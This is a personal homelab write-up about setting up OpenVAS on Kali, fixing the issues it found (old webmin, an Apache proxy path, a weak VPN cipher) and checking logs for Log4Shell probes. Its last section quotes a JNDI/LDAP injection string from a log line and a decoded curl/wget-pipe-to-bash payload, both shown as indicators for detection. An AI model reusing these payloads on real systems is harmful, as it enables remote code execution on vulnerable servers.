.. _openvas:

18. Set up vulnerability scanning with OpenVAS
=====================================================

Introduction
^^^^^^^^^^^^^^

| OpenVAS stands for Open Vulnerability Assesment Scanner. This software enables a sysadmin for example to perform a quick scan of their network in order to grasp all of the outlying problems that still exist within systems. The advantage one obtains by having run OpenVAS in a network is that it'll save a large amount of time for a sysadmin or a blue-teamer to check every server for issues and outdated patches. 

Setup
^^^^^^^

| I've setup OpenVAS in my Kali red-team machine; the set-up was pretty easy; though I did notice high CPU usage whenever I started the service enabling the OpenVAS software. 

| Source: `Linuxhint <https://linuxhint.com/install-openvas-kali-linux/>`_ 

.. code-block:: bash

    gvm-start

.. image:: https://i.imgur.com/oyZqjTY.png

Webinterface
^^^^^^^^^^^^^^

| I implemented OpenVAS into my network a while ago, and ran a report after implementation. Based on this report, I undertook a few actions based on the results (those results are displayed below)

.. image:: https://i.imgur.com/edfQ7jT.png

Cleanup
^^^^^^^^

| I immediately took down an outdated version of webmin that was running on the virtual machine that hosted my portfolio. I recall implementing this a really long time ago when I tried setting up a reverse proxy. 

| Next up was an outdated website that was running on ``10.0.0.28`` which I couldn't find through usual means. So I SSH'd into the machine; and begun scanning logs:

.. image:: https://i.imgur.com/UYUKH7y.png

| The HTTPS version contained my react portfolio - I recall a long time ago beginning the implementation of this documentation system on this machine but couldn't find why this was still running. So I did some research.

.. code-block:: bash
    
    netstat -tulpn | grep 80
    ps -Flww -p 28527(pid)

| The output of this resulted in a certain ``/usr/sbin/apache2/ -k start`` being the originator of this port outdated port 80 website.

| Turns out my ``/etc/apache2/sites-enabled/oksolution.conf`` ``port 80`` redirected towards an older version of the project, I could simply adjust the pathing to resolve this issue.

.. code-block:: bash

    ProxyPass / http://10.0.0.50/csdocs/_build/html/
    ProxyPassReverse / http://10.0.0.50/csdocs/_build/html

.. code-block:: bash

    ProxyPass / http://10.0.0.50/localhost/csdocs/_build/html/
    ProxyPassReverse / http://10.0.0.50/localhost/csdocs/_build/html


Renewed results
^^^^^^^^^^^^^^^^^^

.. image:: https://i.imgur.com/Kj8lOIe.png 

Later on..
^^^^^^^^^^^^^

| After news about a zero-day pertaining log4 (a common used java library used for logging purposes) came out, I aimed to re-run openvas to see if my network was also vulnerable to this problem. Well, two weeks ago (around nov. 2021) I (accidentally) bricked my Kali machine which ran openvas during a CTF. I incorrectly messed with symbolic links in tar files and unintentionally wiped both my etc shadow & etc passwd. So I re-installed openvas, this time I ran into issues related to postgresql. When this was solved, another issue popped up:

.. image:: https://i.imgur.com/doObshw.png

| And then resolved it by running:

.. code-block:: bash

    runuser -u _gvm -- gvmd --modify-scanner <scan_key> -- value <admin_user_key>

| This resolved the problem, I added a new scanner and ran a new scan on my network leaving me with the these results:

.. image:: https://i.imgur.com/Z6HC1NN.png

| My SoftEther VPN implementation was running an old cipher; I didn't/don't use this VPN anymore so I decided to shut it off.

Log4
^^^^^

| Being quite concerned about this vulnerability, I decided to do some more research and see if I could detect any attacks in relation to this vuln. On an article I found on tweakers: `Article <https://tweakers.net/nieuws/190602/ernstige-kwetsbaarheid-in-apache-log4j-2-kan-duizenden-organisaties-treffen.html/>`_ a random comment showed me the payload used by advesaries abusing this exploit.

.. code-block:: bash

    Leuk, ik kwam deze al tegen in mijn logs:

    195.251.41.139 vhost.tld.org 1.2.3.4 - - [11/Dec/2021:09:35:28 +0100] "GET / HTTP/1.1" 301 236 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}" 132 429 0 208

| So I went through my own logs, and was not surprised when I saw:

.. image:: https://i.imgur.com/CwDZhLJ.png

| The base64 payload I decoded and saw the malicious payload:

.. code-block:: bash

    (curl -s remote-ip:port/my-ip:port | wget -q -O- remote-ip:port/my-ip:port)|bash

| When going through further logs in my firewall, I didn't encounter any Indicators of Compromise. I promptly updated all of my servers, hoping this wouldn't be an issue in the future.